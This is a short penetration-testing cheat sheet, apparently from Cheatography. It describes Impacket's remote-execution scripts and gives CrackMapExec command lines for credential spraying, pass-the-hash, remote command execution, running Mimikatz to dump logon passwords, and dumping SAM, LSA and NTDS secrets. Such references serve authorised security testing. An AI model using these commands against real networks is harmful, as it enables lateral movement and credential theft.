

### Impacket

<b>PSEXEC</b>	Writable share required, default ADMIN\$. Interactive shell or single command. Similar to psexec.exe, uses RemComSVC.	SMB - 445
<b>SMBEXEC</b>	No writable share required. Requires 4 SMB Connections. Doesn't use RemComSVC. Semi-interactive shell or single command.	SMB - 445
<b>ATEXEC</b>	Writable share required, default ADMIN\$. Run a single command through task scheduler.	SMB - 445
<b>WMIEXEC</b>	Semi-interactive shell through WMI. No service/agent installation require, runs elevate privileges if possible. Stealthy.	RPC, WMI - 135
<b>DCOMEXEC</b>	Semi-interactive shell, similar to WMIEXEC but using different DCOM endpoints. Blocked by default due to Windows firewall rules.	RCP, DCOM - 135

#### Example:

```
python <script.py> domain/user:password@IP <command>
```

PSEXEC, SMBEXEC, WMIEXEC will obtain shells if <command> is blank

### CrackMapExec

Swiss army knife for pentesting with many features. Spray credentials across environment to enumerate shares, sessions, disks, users, login privileges, execute commands, dump SAM and LSA secrets, run mimikatz, and more.  
Can perform command execution via Impacket's smbexec, wmiexec, atexec.

**Spray domain creds:** crackmapexec 192.168.1.0/24 -u user -p 'P@ssw0rd' -d domain.com

**Spray local creds:** crackmapexec 192.168.1.0/24 -u user -p 'P@ssw0rd' --local-user

**Spray creds from files:** crackmapexec 192.168.1.0/24 -u users.txt -p passwords.txt

**Pass-the-hash:** crackmapexec 192.168.1.0/24 -u user -H NTLMhash

**Execute command:** crackmapexec 192.168.1.0/24 -u user -p 'password' --exec-method smbexec -x whoami

**Run Mimikatz:** crackmapexec 192.168.1.0/24 -u user -p 'password' -M modules/credentials/mimiaktz.py -o COMMAND='privilege::debug;sekurlsa::logonpasswords'

#### Common Enumeration Options

Enumerate shares: --shares

Dump sam, lsa or ntds: --sam --lsa --ntds

Sessions: --sessions

Logged on users: --lusers



By **tz-pl**  
[cheatography.com/tz-pl/](http://cheatography.com/tz-pl/)

Not published yet.  
Last updated 29th November, 2019.  
Page 1 of 1.

Sponsored by **CrosswordCheats.com**  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>